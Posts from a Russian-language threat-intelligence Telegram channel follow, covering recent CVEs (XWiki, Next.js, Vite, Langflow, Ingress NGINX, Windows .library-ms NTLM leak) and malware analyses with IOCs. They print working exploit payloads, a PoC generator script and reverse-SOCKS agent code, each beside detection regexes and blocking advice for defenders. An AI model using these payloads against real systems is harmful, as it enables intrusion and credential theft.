Четыре луча – Telegram
Четыре луча
3.87K subscribers
83 photos
98 links
Облучаем экспертизой

Заметки Solar 4RAYS c полей о DFIRMA, TH, OffSec

Блог: https://rt-solar.ru/solar-4rays/blog/
Download Telegram
Критическая уязвимость в XWiki CVE-2025-24893

В сети появилась новая уязвимость — рассказываем, как она выглядит и где ее искать.

Описание
Любой пользователь может выполнить произвольное удаленное выполнение кода (RCE) через запрос к SolrSearch. Уязвимы версии 5.3-milestone-2 по 15.10.11 и с версии 16.0.0-rc-1 до 16.4.1


Метрики
Base Score: 9.8
CWE-95


Настоятельно рекомендуем обновиться ❗️

Подробности атаки

Были обнаружены несколько PoC exploit на данную уязвимость. Уязвимой конечной точкой является /xwiki/bin/get/Main/SolrSearch, при значении параметра media равным rss. Сама полезная нагрузка передается в GET или POST параметре text и со значением параметра media равным rss.


Пример нагрузки
```}}}{{async async=false}}{{groovy}}CODE{{/groovy}}{{/async}}```


Детали
— Количество закрытых фигурных скобок в начале может быть любым, их может и не быть.
{{async async=false}} — попытка отключить асинхронное выполнение макросов.
{{groovy}} — открывает блок макроса Groovy, который позволяет выполнить Groovy-код на сервере. Могут использоваться и другие виды скриптов, например, python.
CODE — произвольный код. Вместо CODE располагается RCE код, bash команды могут предаваться внутри, например, new ProcessBuilder.
— Блок кода в CODE может быть не один, их может быть множество, они будут перечислены через точку с запятой: ….{{groovy}}CODE1; CODE2; CODE3{{/groovy….

Рекомендации по детекту

Ловить эту атаку сможет правило, которое:

1️⃣проверяет, что запросы идут на /xwiki/bin/get/Main/SolrSearch;
2️⃣ проверяет, что параметр media равен rss;
3️⃣ Проверяет, что параметр text содержит открытие блока макроса {{groovy}},{{python}},{{javanoscript}} и т.д.

Подробнее ознакомиться со всеми языками, которые поддерживает xwiki, можно в документации.
Please open Telegram to view this post
VIEW IN TELEGRAM
14👍8🔥8🐳1👾1
Что это за линии в моем дизассемблере и как соединить блоки кода 🤔

Наверное, каждый реверсер когда-нибудь задавал себе подобные вопросы, когда видел висящие в воздухе блоки кода и пунктирные линии (Скриншоты 1 и 2).

Обычно времени и желания разбираться в подобных вопросах нет — они не сильно мешают. Мы тоже годами откладывали решение, но в конце концов нашли его.

1️⃣ Разбираемся с линиями

Оказывается, в дизассемблере IDA есть функции, которые не возвращают управление вызывающей функции. Как раз для обозначения вызовов таких функций в IDA используется понятие no return line:
; ---------------------------------------------------------------------------

Подробнее об этом можно почитать в блоге Hex Rays в 126 серии постов «Igor's Tip of the Week».

2️⃣ Соединяем блоки

Для соединения блоков в дизассемблере необходимо в параметрах функции sub_7FF7010A9A03 убрать галочку со свойства Does not return (Скриншот 3). Да, именно у самой функции sub_7FF7010A9A03, а не в параметрах родительской функции, в которой мы видим call sub_7FF7010A9A03.

Затем IDA обычно автоматически связывает нужные блоки (Скриншот 4). Если этого не произошло, то можно выделить инструкции, между которыми проходит no return line, и нажать C (команда «MakeCode»).

IDA задаст два вопроса — на них можно ответить «Analyze» и «Yes». После этого вы увидите, что no return line исчезла (Скриншот 5), а блоки кода соединились.

Отметим, что no return-функции имеют соответствующий тип, например:
void __fastcall __noreturn sub_7FF7010A9A03();


А что по декомпилированному коду в окне псевдокода?

No return-функции могут также влиять и на декомпилированный код, поэтому если вы видите, что одна инструкция декомпилированного кода соответствует большому количеству разных инструкций в дизассемблере, да и вообще в псевдокоде не хватает строчек кода, то можно попробовать следующее:

🫡 Изменить тип no return функции (кнопка Y), убрав __noreturn;

🫡 Иногда нужно убрать опцию Does not return в параметрах функции.

Подробнее подобный кейс описан в блоге Hex Rays в 162 серии постов «Igor's Tip of the Week», дополнительно можно обратить внимание на 159 серию.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥20👍115🐳2👾2
MSConnect ReverseSocks5

В одном из инцидентов нам попался любопытный бинарный файл с именем MSConnect.exe, который был написан на Golang и накрыт обфускатором «Garble». Символы и строки в нем запутаны, но понять, какие библиотеки используются, можно, например, с помощью «GoStringUngarbler» — там оказались «Go-socks5» и «Yamux».

Функция main состоит всего из двух вызовов.

1️⃣ В первом происходит расшифровка строки C2 сервера 80.87.203.112:8050.

2️⃣ Во второй функции по смещению 0x4375c0 происходит сначала такой вызов:
lea     rax, aTcp       ; "tcp"
call En5ByLpA.Z6n01OjnUBoF

Исходя из строки «tcp», можно предположить, что En5ByLpA.Z6n01OjnUBoF — это функция Dial из пакета crypto/tls, либо из пакета net.

Для подтверждения этой гипотезы можно заглянуть в таблицу символов — Garble обфусцирует не все имена функций — и поискать по имени пакета En5ByLpA. Используем goresym и видим:
        {
"PackageName": "En5ByLpA",
"FullName": "En5ByLpA.SignatureScheme.String"
},
{
"PackageName": "En5ByLpA",
"FullName": "En5ByLpA.CurveID.String"
},
{
"PackageName": "En5ByLpA",
"FullName": "En5ByLpA.ClientAuthType.String"
},

Типы CurveID, ClientAuthType, SignatureScheme в совокупности характерны для пакета crypto/tls, поэтому смело переименовываем En5ByLpA в crypto/tls.

Далее мы видим вызов функции aBzGlgO.BjV1mgp64WX. По строкам внутри понимаем, что это yamux.Server.

Затем следуют вызовы yamux.AcceptStream и FUN_004377e0. Внутри находится вызов go-socks5.ServeConn. Получаем:
... (config initialization)

dialConn, err := tls.Dial(C2);
session := yamux.Server(dialConn, config);

for {
stream, err := session.AcceptStream();
ServeConn(stream); // from go-socks5
}

Функция с похожей структурой встречается в проекте XieBroC2, который использует наработки из Acebond/ReverseSocks5.

ReverseSocks5
— это утилита, которая сочетает в одном бинаре SOCKS5 агент и сервер. Сервер хостится на стороне злоумышленника, на его же стороне открывается определенный порт, например, 8050, как в найденном C2, а сам трафик проксируется через подключенные к серверу агенты.

Если заглянуть в файл main.go, можно увидеть такую функцию:
func ReverseSocksAgent(serverAddress, psk string, useTLS bool) {
log.Println("Connecting to socks server at " + serverAddress)

var conn net.Conn
var err error

if useTLS {
conn, err = tls.Dial("tcp", serverAddress, nil)
} else {
conn, err = net.Dial("tcp", serverAddress)
}

if err != nil {
log.Fatalln(err.Error())
}

_, err = conn.Write(magicPacket[:])
if err != nil {
log.Fatalln(err.Error())
}

log.Println("Connected")

session := mux.Server(conn, psk)

for {
stream, err := session.AcceptStream()
if err != nil {
log.Println(err.Error())
break
}
go func() {
// Note ServeConn() will take overship of stream and close it.
if err := ServeConn(stream); err != nil && err != mux.ErrPeerClosedStream {
log.Println(err.Error())
}
}()
}

session.Close()
}

В коде этой функции используются другие реализации mux и SOCKS5 вместо «Yamux» и «Go-socks5» в найденном семпле, а также слегка отличается структура. Если заглянуть в историю и перейти к init-коммиту, то мы попадем именно на ту версию функции, которая представлена в исследуемом семпле.

Похоже, разработчики этого семпла использовали старый форк. Однако сам семпл все же отличается — в нем оставлена только функциональность агента и удалена обработка параметров командной строки, потому что адрес сервера теперь жестко зашит в бинарный файл.

IOC:
80.87.203.112:8050
7ecef21df2f513736389360429bd464398b700bde462807c68e39790a216707b
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥21👍11🙏63❤‍🔥2🐳1👾1
👀 DarkWatchman снова шпионит за жертвами

Мы обнаружили очередную волну фишинговых атак, нацеленных на российские компании. Уже четыре года атакующие проводят новые рассылки, совершенствуя вредоносное ПО DarkWatchman RAT в части обхода защитных механизмов.

Вредоносные письма отправляются якобы от имени Межрайонного отдела судебных приставов по ИПНО г. Москвы с поддельного адреса электронной почты.

Внутри — архивы с именами, имитирующими исполнительные листы, или накладные для посылки через Pony Express, например:

Исполнительный лист №27186421-25 от <date>.zip

Накладная №94-4112-8221.zip

В архивах скрываются вредоносные исполняемые файлы с двойным расширением и иконкой PDF, которые после анализа оказались экземплярами DarkWatchman RAT.

Кстати, наши коллеги писали о кампании посылок от якобы Pony Express в декабре 2024.

Функциональность DarkWatchman RAT

👽 Кейлоггер. Сбор данных о нажатиях клавиш для кражи учетных данных и другой конфиденциальной информации.

👽 Бэкдор. Возможность удалённого выполнения команд и управления зараженной системой.

Методы коммуникации

Для связи с командными серверами C&C используются жёстко закодированные домены, а также домены, генерируемые алгоритмом DGA, что делает атаку более устойчивой к блокировке.

Особенности DarkWatchman RAT

1️⃣ Используется техника Reflective DLL Loading для бесфайлового исполнения DLL.

2️⃣ Применяются нативные и ненативные загрузчики для обхода антивирусных решений.

➡️ Подробнее — в новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15🤯844👀4👾3👍2🐳2💅1
Критическая уязвимость Next.js (CVE-2025–29927)

За последние сутки в сети появилось более 13 публичных эксплойтов на критическую уязвимость в фреймворке Next.js, позволяющую злоумышленникам обходить проверки авторизации в middleware.

Проблема связана с некорректной обработкой внутреннего заголовка x-middleware-subrequest, который используется для предотвращения рекурсивных запросов и бесконечных циклов в middleware.

❗️ Уязвимы все версии до 14.2.25 и 15.2.3. Настоятельно рекомендуем обновиться.

Middleware (промежуточное или связующее программное обеспечение) — это компонент программного обеспечения, выполняющий обработку запросов и ответов в конвейере приложения.

Метрики
Base Score: 9.1
CWE: CWE-285


Подробности эксплуатации

Если в запросе присутствует заголовок x-middleware-subrequest с нужным значением, то middleware может быть пропущен, и запрос будет направлен непосредственно к конечной точке. Так можно обойти проверку авторизации.


Пример
1️⃣ При отправке запроса к /dashboard:
GET /dashboard HTTP/1.1

получаем ответ, который содержит перенаправление на страницу авторизации /login:
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Mon, 24 Mar 2025 07:18:09 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 6

/login


2️⃣ Теперь нужно добавить заголовок, содержащий полезную нагрузку.
GET /dashboard HTTP/1.1
Host: <>
Upgrade-Insecure-Requests: 1
x-middleware-subrequest: <>middleware<>

В этом случае сервер отвечает кодом 200, что означает обход проверки авторизации.
HTTP/1.1 200 OK


Полезная нагрузка
В процессе исследования уязвимости было найдено множество уникальных значений заголовка x-middleware-subrequest — все зависит от уязвимой версии. Но у всех есть общая черта использования middleware как части значения.


Как защищаться
Написать блокирующее правило на использование заголовка x-middleware-subrequest.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥155👀5🐳2👍1🤡1👾1
CVE-2025-24071 (NTLM Leak via .library-ms) уже ITW: как обнаружить

Уязвимость была освещена в мартовском патч-вторнике, а также недавно описана коллегами из PT ESC.

Работает она так: при распаковке из архива файла с расширением .library-ms происходит автоматическая NTLM-аутентификация по адресу, указанному в файле, что может раскрыть аутентификационную информацию пользователя.

Нам известно, что злоумышленники взяли уязвимость на вооружение.

Однако Microsoft до сих пор не обновил информацию о фактах эксплуатации In-the-Wild:
Exploit Code Maturity: Unproven
Exploited: No

Более того, вендор считает, что вероятность массовой эксплуатации уязвимости «маловероятна».

Алгоритм воспроизведения
1. Злоумышленник создает файл с расширением .library-ms, который содержит путь до SMB-шары внутри тэга <searchConnectorDenoscriptionList>:
library_content = f**"<?xml version="1.0" encoding="UTF-8"?>
<libraryDenoscription xmlns="http://schemas.microsoft.com/windows/2909/1ibrary*>
<searchConnectorDenoscriptionList>
<searchConnectorDenoscription>
<simpleLocation>
<url>\\ip_address}\shared</url>
</simpleLocation>
</searchConnectorDenoscription>
</searchConnectorDenoscriptionList>
</libraryDenoscription>
library_file_name - f"(file_name).library-ms"
with open(library_file_name, "w", encoding "utf-&") as f:
f.write(library_content)

2. Запаковывает этот .library-ms файл в архив;
3. Отправляет архив жертве, например, фишинговым письмом, как это уже делают настоящие злоумышленники;
4. Жертва распаковывает архив, и в момент распаковки library-ms файла Windows Explorer автоматически парсит содержимое .library-ms и отправляет аутентификацию на указанную SMB-шару, на которой мы предварительно поднимаем responder.

После перехвата NTLM-хэша злоумышленник может использовать его в атаках типа Pass-the-Hash.

🫡 Любопытный момент: аутентификация на SMB-шаре, адрес которой зашит в файл, будет происходить при *любом* взаимодействии с созданным файлом .library-ms, от создания,до удаления или попыток переместить его в другое место на диске.

🫡 Любопытный момент [2]: если на системе жертвы нет ни одного архиватора, распаковать архив попытается процесс explorer.exe.

🫡 Любопытный момент [3]: после выхода патча Microsoft присвоили уязвимости новый номер, CVE-2025-24054.

Мониторинг и детектирование
Рекомендуем отслеживать создание файлов .library-ms на диске процессами-архиваторами или Windows Explorer (explorer.exe). Если вы используете стандартный аудит Windows, обратите внимание на событие Security\4663 (An attempt was made to access an object):
{
"Event": {
"System": {
"Provider": {
"Name": "Microsoft-Windows-Security-Auditing",
"Guid": "{54849625-5478-4994-a5ba-3e3b0328c30d}"
},
"EventID": "4663",
},
"EventData": {
"Data": [
{
"text": "C:\\me\\CVE-2025-24071_PoC\\victim.library-ms",
"Name": "ObjectName"
},
{
"text": "0x3438",
"Name": "HandleId"
},
{
"text": "%%4417\r\n\t\t\t\t%%4418\r\n\t\t\t\t",
"Name": "AccessList"
},
{
"text": "0x6",
"Name": "AccessMask"
},
{
"text": "C:\\Windows\\explorer.exe",
"Name": "ProcessName"
},
{
"text": "S:AI",
"Name": "ResourceAttributes"
}
]
}
}
}


Если используете Sysmon, то на событие 11 (FileCreate):
{
"Event": {
"System": {
"Provider": {
"Name": "Microsoft-Windows-Sysmon",
"Guid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}"
},
"EventID": "11",
"Channel": "Microsoft-Windows-Sysmon/Operational",
},
"EventData": {
"Data": [
{
"text": "C:\\Program Files\\WinRAR\\WinRAR.exe",
"Name": "Image"
},
{
"text": "C:\\me\\CVE-2025-24071_PoC\\victim.library-ms",
"Name": "TargetFilename"
},
]
}
}
}
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19👍9🙏52🐳1🆒1
Критические уязвимости Ingress NGINX IngressNightmare

IngressNightmare — это набор уязвимостей CVE-2025–24513, CVE-2025-24514, CVE-2025-1097, CVE-2025-1098 и CVE-2025-1974. С ними злоумышленник может внедрять произвольные директивы конфигурации NGINX, включая пользовательские правила маршрутизации и параметры безопасности, в уязвимые системы.

❗️ Для выполнения RCE нужно последовательно проэксплуатировать цепочку из уязвимостей. CVE-2025-1974 — ее последнее звено, которое устранено в 1.11.5, 1.12.1 и более поздних версиях. Настоятельно рекомендуем обновиться.
CVE-2025-24513 (CVSS 4.8) — недостаточная проверка входных данных в ingress-nginx, позволяющая злоумышленнику обойти каталог внутри контейнера, что может привести к DoS или ограниченному раскрытию секретов.

CVE-2025-24514 (CVSS 8.8) — аннотация Ingress auth-url позволяет внедрять конфигурацию в NGINX, что ведет к выполнению кода и раскрытию секретов.

CVE-2025-1097 (CVSS 8.8) — аннотация Ingress auth-tls-match-cn может быть использована для внедрения конфигурации в NGINX, что приводит к RCE и утечке секретов.

CVE-2025-1098 (CVSS 8.8) — аннотации Mirror-Target и Mirror-Host позволяют внедрять произвольную конфигурацию в NGINX, что ведет к RCE и утечке секретов.

CVE-2025-1974 (CVSS 9.8) — критическая уязвимость, позволяющая неаутентифицированному злоумышленнику в сети подов выполнить произвольный код в контексте ingress-nginx controller при определенных условиях.


Ingress NGINX Controller — это инструмент для управления входящим трафиком в Kubernetes-кластере. Он направляет запросы пользователей к нужным сервисам внутри кластера, действуя как прокси-сервер.

Нагрузка
"request": {
"object": {
"metadata": {
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\n\nssl_engine <WAY>;\n\n"
}
}
}
}
}


Большинство уязвимостей связаны с аннотациями, например: nginx.ingress.kubernetes.io/auth-url. Разберем ее:

1️⃣ nginx.ingress.kubernetes.io — обязательная префиксная часть для аннотаций, используемых с Nginx Ingress Controller в Kubernetes. Все аннотации, которые управляют поведением Nginx Ingress Controller, должны начинаться с этого префикса.

2️⃣ auth-url — название аннотации

3️⃣ http://example.com/#;}}}\n\nssl_engine <WAY>;\;\n\n — попытка эксплуатации RCE через ssl_engine. <WAY> указывает на путь /proc/{pid}/fd/{fd}, {pid} и {fd} — значения, которые злоумышленник должен угадать или перебрать. Но для проверки уязвимости может использоваться простоя строка test, как показано на примере ниже.

Пример эксплуатации

Этот запрос должен подтвердить наличие уязвимости на сервере:
curl -v -X POST -H "Content-Type: application/json" -d '{
"request": {
"object": {
"metadata": {
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "test"
}
}
}
}
}' https://localhost:1337/validate --insecure
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15👍6👌3🤡1🐳1
Лог
W0326 07:59:03.292219       7 controller.go:1110] Error obtaining Endpoints for Service "/kubernetes": no object matching key "/kubernetes" in local store
W0326 07:59:03.292390 7 controller.go:1235] Error loading custom default certificate, falling back to generated default:
…….
I0326 07:59:03.342274 7 admission.go:149] processed ingress via admission controller {testedIngressLength:1 testedIngressTime:0.05s renderingIngressLength:1 renderingIngressTime:0.003s admissionTime:0.053s testedConfigurationSize:18.1kB}
I0326 07:59:03.342431 7 main.go:107] "successfully validated configuration, accepting" ingress="/"

В логе есть несколько сообщений, которые могут быть связаны с ошибками, но окончательное сообщение подтверждает, что конфигурация успешно проверена и запрос принят:
I0326 07:59:03.342431       7 main.go:107] "successfully validated configuration, accepting" ingress="/"

Это означает, что Ingress-ресурс был успешно проверен, валидация пройдена, принято решение о разрешении. Этот процесс происходит через admission controller, который проверяет запросы перед тем, как они будут применены в Kubernetes.

Как защищаться

Нужно написать блокирующее правило на POST-запросы с заголовком Content-Type: application/json и телом, соответствующим регулярному выражению:
\s*nginx\.ingress\.kubernetes\.io\/.*?\"\s*:\s*\".*?\
🔥16👍117
Puma: новый руткит в арсенале Shedding Zmiy 🐍

У одной из самых активных группировок Восточной Европы, атакующих российские организации, появился новый инструмент — руткит Puma. Чтобы обнаружить его и предотвратить атаки, нужно понимать, как он работает.

Puma — руткит в пространстве ядра, нацеленный на Linux-системы. Он попадает в инфраструктуру жертвы, когда легитимная утилита «Cron» заменяется специальным загрузчиком. Затем Puma закрепляется и загружается в ядро при каждом запуске системы.


В ядре руткит перехватывает системные вызовы и функции. Для этого он:
💣 редактирует таблицу вызовов, заменяя оригинальные обработчики своими,
💣 использует фреймворк для трассировки ядра Linux — Ftrace.

После этого Puma может скрывать файлы, процессы, директории, сетевые соединения, красть конфиденциальную информацию и подменять содержимое в файлах.

Puma работает не один, у него есть «сообщник» — руткит Pumatsune. Изначально он находится внутри ядерного руткита, но в результате перехвата некоторых системных вызовов попадает в пользовательское пространство и работает там. В списке его задач — взаимодействие с C2 сервером.

👀 Подробнее о рутките Puma — в новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥26👍106👾2💅1
Уязвимость в Vite CVE-2025-30208

CVE-2025-30208 — уязвимость в популярном инструменте фронтенд-разработки Vite, которая позволяет злоумышленнику обходить ограничения доступа к файлам. Уязвимы версии до 6.2.3, 6.1.2, 6.0.12, 5.4.15 и 4.5.10

😬 Метрики

Base Score: 5.3
CWE: CWE-200; CWE-284

😬 Описание

Добавление в URL подстрок ?raw?? или ?import&raw?? позволяет получить содержимое произвольного файла. Это происходит из-за того, что конечные разделители, такие как ?, удаляются в нескольких местах, но не обрабатываются корректно в регулярных выражениях, используемых для проверки строки запроса.

😬 Полезная нагрузка

Полезная нагрузка представляет из себя подобную структуру:
/@fs/etc/passwd?<WORD>?raw


@fs — механизм, который запрещает доступ к файлам за пределами разрешенных директорий,

/etc/passwd — необходимый нам файл,

<WORD>? — не обязательный параметр, может быть любой строкой,

raw — импорт файла как строки.

😬 Как защищаться

Зная структуру полезной разгрузки, можем написать регулярное выражение на URI:
\/@fs\/([a-zA-Z0-9_-]+\/)*([a-zA-Z0-9_-]+).+?\?raw
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15😱9💅422🔥1👾1
Pumatsune: как работает младший брат Puma 🐾

Руткит Puma — не самостоятельный вредонос. Он лишь предоставляет инструменты, которые можно использовать из пространства пользователя. С ним «в комплекте» идет руткит Pumatsune, который позволяет раскрыть весь вредоносный потенциал в ядре.

Название Pumatsune выбрано не просто так. Этот руткит берет свое начало от руткита Kitsune, который известен с 2022 года. В отличие от старых версий, без поддержки из ядра Pumatsune работать не может.


👁 С помощью Puma, который находится в ядре, Pumatsune незаметно подключается к C2-серверу и выполняет команды. Любые процессы и соединения Pumatsune может скрыть с помощью Puma.

💣 Это открывает руткиту большие возможности: например, он может совершать эксфильтрацию конфиденциальной информации или незаметно исполнять shell-команды.

Симбиоз двух вредоносов очень опасен для неподготовленной инфраструктуры. Узнайте, как от них защититься, в нашей новой статье.

↗️ Читать статью
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2010👍7🍌4😁1👾1
Как победить руткиты Puma и Pumatsune ⚡️

В предыдущих постах мы рассказывали о двух руткитах — Puma и Pumatsune. Проверить систему на наличие руткита можно с помощью yara-правила, которое мы оставили в статье.


Если руткит уже попал в систему, его нужно устранить. Puma закрепляется через подмененный легитимный файл cron:

/usr/sbin/cron — Debian-системы;

/usr/sbin/crond — RHEL-системы.

У Pumatsune нет никаких способов закрепления, он будет находиться в инфраструктуре, пока в ядре работает руткит Puma. Поэтому самый простой способ избавиться от него — заменить вредоносный загрузчик на легитимный файл cron и перезагрузить систему.

Как заменить вредоносный cron легитимным, если у вас Debian

1️⃣ Определить название пакета, из которого был установлен пакет cron:
dpkg -S /usr/sbin/cron

Вывод команды:
cron: /usr/sbin/cron

cron — имя deb-пакета.

2️⃣ Скачать deb-пакет:
apt-get download cron

Команда загрузит deb-файл, например, cron_3.0pl1-136ubuntu1_amd64.deb. Название пакета может меняться в зависимости от версии ОС.

3️⃣ Распаковать пакет:
pkg-deb -x cron_*.deb cron_orig

cron_orig — название каталога, куда будут распакованы файлы deb-пакета.

4️⃣ Остановить службу cron:
sudo systemctl stop cron


5️⃣ Заменить вредоносный cron оригинальным:
sudo install -m 755 -o root -g root cron_orig/usr/sbin/cron /usr/sbin/cron


6️⃣ Перезагрузить систему:
sudo reboot


Как заменить вредоносный cron легитимным на RHEL


1️⃣ Определить название пакета, из которого был установлен cron:
rpm -qf /usr/sbin/crond

Вывод команды:
cronie-1.4.11-25.el7_9.x86_64

Название пакета может меняться в зависимости от версии ОС.

2️⃣ Скачать rpm-пакет:
yumdownloader cronie

Если нет yumdownloader, установите его:
sudo yum install -y yum-utils


3️⃣ Распаковать пакет:
rpm2cpio cronie-*.rpm | cpio -idmv ./usr/sbin/crond


4️⃣ Остановить службу cron:
sudo systemctl stop cron


5️⃣ Заменить вредоносный cron оригинальным:
sudo install -m 755 -o root -g root ./usr/sbin/crond /usr/sbin/crond


6️⃣ Перезагрузить систему:
sudo reboot


После этих действий Puma перестанет загружаться в ядро, а вместе с ним пропадет и Pumatsune.

❗️ Shedding Zmiy редко обходится одним инструментом в своих атаках. Если вы обнаружили Puma, скорее всего, в вашей инфраструктуре есть и другое ВПО группировки. Обратитесь за помощью к экспертам по оценке компрометации и реагированию на ИБ-инциденты.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍18🔥115🤔21🍌1👾1
Уязвимость в Vite CVE-2025-31125

Уязвимость в Vite CVE-2025-30208, о которой мы рассказывали ранее, позволяет получить несанкционированный доступ к файлам. В CVE-2025-31125 был обнаружен альтернативный вид запроса для обхода ограничения.

Уязвимости подвержены только приложения, явно предоставляющие доступ к серверу разработки Vite в сети: в них используется параметр конфигурации --host или конфигурация server.host.

❗️ CVE-2025-31125 исправлена ​​в версиях 6.2.4, 6.1.3, 6.0.13, 5.4.16 и 4.5.11 — рекомендуем обновиться.

Метрики
Base Score: 5.3
CWE: CWE-200; CWE-284


Описание

Полезная нагрузка выглядит так:
/etc/passwd?inline=<NAME>.wasm?init


/etc/passwd — путь к нужному файлу;

inline — используется для управления импортом ресурсов;

<NAME> — любая строка или же ее может не быть;

.wasm — указывает на WebAssembly-модуль.

Вывод эксплуатации — дважды закодированный в формате base64 файл passwd.

Как защищаться

Регулярное выражение для детекта эксплуатации:
.+?\?inline=.*\.wasm\?init
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7👍5😎4🍌1
Обзор веб-уязвимостей в первом квартале 2025 года 👾

Проанализировали 120+ PoC и подвели итоги ландшафта веб-уязвимостей в первом квартале. Вот результаты:

😬 Более 80% уязвимостей имеют сетевой вектор атаки;

😬Средний уровень критичности обнаруженных уязвимостей — 7,7/10;

😬 Максимальный уровень критичности обнаруженных уязвимостей — 10, минимальный — 2,7;

😬 72% сетевых уязвимостей имеют Critical и High уровни критичности;

😬 Самые уязвимые продукты квартала: Wordpress и плагины, а также открытое ПО Kubernetes.

✈️ Читайте полный обзор и обновляйтесь.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12👏5👍3👾3🍌2
🦣 Mamont: все еще живой

Недавно в СМИ появилась информация о задержании подозреваемых в распространении вредоносного приложения для Android под названием Mamont.

Несколько месяцев злоумышленники рассылали тысячам пользователей фишинговые сообщения. В каждом было видео с интригующей подписью:

Это ты на видео?


Под роликом скрывалось вредоносное Android-приложение Mamont — таким образом его создатели получали доступ к интернет-банкингу жертв.

Незадолго до новости о задержании образец Mamont попался команде Solar 4RAYS. Конечно же, мы его исследовали.

Приложение позволяет злоумышленникам:

💣 собирать информацию о приложениях и устройстве;

💣 мониторить историю вызовов и совершать звонки;

💣 совершать USSD запросы;

💣 отправлять и получать смс.

Мы выяснили, что как минимум часть сетевой инфраструктуры, связанной с Mamont, остается активной. Это может указывать на то, что угроза заражений не ушла.

Подробнее об Android-вредоносе Mamont читайте в нашей новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥18👍126👌1👾1
Новая версия бэкдора KingOfHearts 👑

Осенью 2024 мы описали пересечения Obstinate Mogwai с другой азиатской группировкой — IAmTheKing, которая активна как минимум с 2014 года.

Последний публичный отчет об IAmTheKing выпустили эксперты «Лаборатории Касперского» в 2020 году.

А на конференции Kaspersky Security Analyst Summit 2024 подразделение PT ESC представило доклад «The Lord of PowerShell: The Return of IAmTheKing», в котором говорилось о возвращении группировки с новым стилером PowerBroker.

👀 В арсенале IAmTheKing был бэкдор KingOfHearts, который использовался злоумышленниками в атаках до 2019 года. Во время очередной попытки возвращения в инфраструктуру Obstinate Mogwai применили новую версию этого бэкдора, которую мы назвали .NET KingOfHearts.

Наша команда очень подробно проанализировала новую версию легендарного бэкдора.

Ключевые моменты:

😬 Мы обнаружили сборки в ресурсах, даты компиляции которых могут указывать, что бэкдор предположительно мог находиться в разработке с конца 2022, а в инциденте был использован в конце 2023 года.

😬 Эти же сборки помогли найти хеши нескольких других образцов .NET KingOfHearts с новыми C2.

😬 .NET KingOfHearts, в отличие от старых версий, стал модульным.

😬 Нашли ряд совпадений, по которым поняли, что перед нами — новая версия бэкдора KingOfHearts.

⚡️ Все подробности — в статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥117🤯4👍2😁1
Критическая уязвимость CVE-2025-3248 👾

CVE-2025-3248 — уязвимость в Langflow, связанная с выполнением  произвольного кода (RCE) на уязвимой конечной точке /api/v1/validate/code.

❗️ Уязвимы все версии до 1.3.0. Рекомендуем обновиться.

Langflow — инструмент с открытым исходным кодом, предназначенный для создания и управления потоками работы с использованием моделей искусственного интеллекта.


Метрики
Base score: 9,8
CWE: 306


Полезная нагрузка
{
"code": """
def test(cd=exec('raise Exception(__import__("subprocess").check_output("ls -la", shell=True))')):
pass
"""
}


Разберем детальнее:

code
— ключ для передачи Python-кода;

exec() — позволяет выполнять строки кода Python;

subprocess.check_output("ls -la", shell=True) — эта команда выполняет системную команду ls -la через оболочку (shell). В результате возвращается список файлов и директорий в текущем каталоге;

raise Exception(...) — исключение, которое вызывается после выполнения команды ls -la.

На что важно обратить внимание

1️⃣ Из-за того, что на конечной точке /api/v1/validate/code нет аутентификации, злоумышленник может отправить такой код через HTTP-запрос.

2️⃣ Код будет выполнен на сервере — это позволяет атакующему осуществить произвольные команды, например, вывести список файлов на сервере или даже изменить состояние системы.

3️⃣ Код может представлять из себя все что угодно, он не обязательно должен соответствовать примеру выше.

Как защититься

Ограничить доступ из сети интернет к данному API.

Написать правило, блокирующее POST-запросы к уязвимому URL, содержащее заголовок Content-Type: application/json и тело, в котором присутствуют python-операторы — например, exec, Exception, import, print, system.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍106😱5